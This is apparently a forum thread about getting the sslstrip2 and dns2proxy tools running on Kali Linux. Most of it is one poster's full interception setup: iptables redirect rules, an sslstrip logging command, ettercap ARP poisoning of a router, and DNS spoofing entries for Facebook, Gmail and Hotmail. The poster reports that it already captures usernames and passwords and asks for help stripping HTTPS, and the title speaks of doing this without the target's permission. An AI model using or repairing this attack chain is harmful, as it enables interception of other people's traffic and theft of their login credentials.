Possible crack the certificate of https website that had been visited before without the permissions of the target machine?

When ever I attempt to run the "setup.py" script it keeps showing a error message saying that I do not have permission as root to execute the script. Also with me having changing the permissions to "Allow executing file as program" to on it then errors out saying "syntax errors" within the terminal. And by the way I am using kali linux 2016.1, I hope that no one else has this issue.

Kali throws all kinds of errors when trying to install the requirements.

I have even translated the syntax to Python3 and got it running... but its throws more errors while handling requests. There is more wrong than the old syntax.

We need a Python3 implementation.

^

i downloaded the sslstrip2 and dns2proxy ...
i enabled forward my ip ... and
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080
iptables -t nat -A PREROUTING -p udp --destination-port 53 -j REDIRECT --to-port 53
python sslstrip.py -l 8080 -p -w log.txt
./ia.sh router ip router ip (i want to capture packets of router )
ettercap -Tqi wlan0 -M ARP:remote /router ip// (which is my windows 10 and kali is on the same computer with VMware )
Dns2proxy Settings
domains.cfg
.facebook.com 192.168.1.1
.gmail.com 192.168.1.1
.hotmail.com 192.168.1.1
(THIS IP IS router's ip )
spoof.cfg
www.s21sec.com 192.168.1.1
ia.sh
adminip= my localip
When i open sites without HTTPS i get username & passwords .otherwise in the screen i see
DHCP : Request IPs
DHCP : Discover
so what is the problem ? what is the wrong with them ?
questions.
q name = www.google-analytics.com
Query = www.google-analytics.com A
Adding fake IP = 192.168.2.1
Adding fake IP = 192.168.2.1
Adding real IP = 216.58.212.46
Sending response...
waiting requests.
serving a request.
Dns proxy addes router's ip ... but it doesnt help ..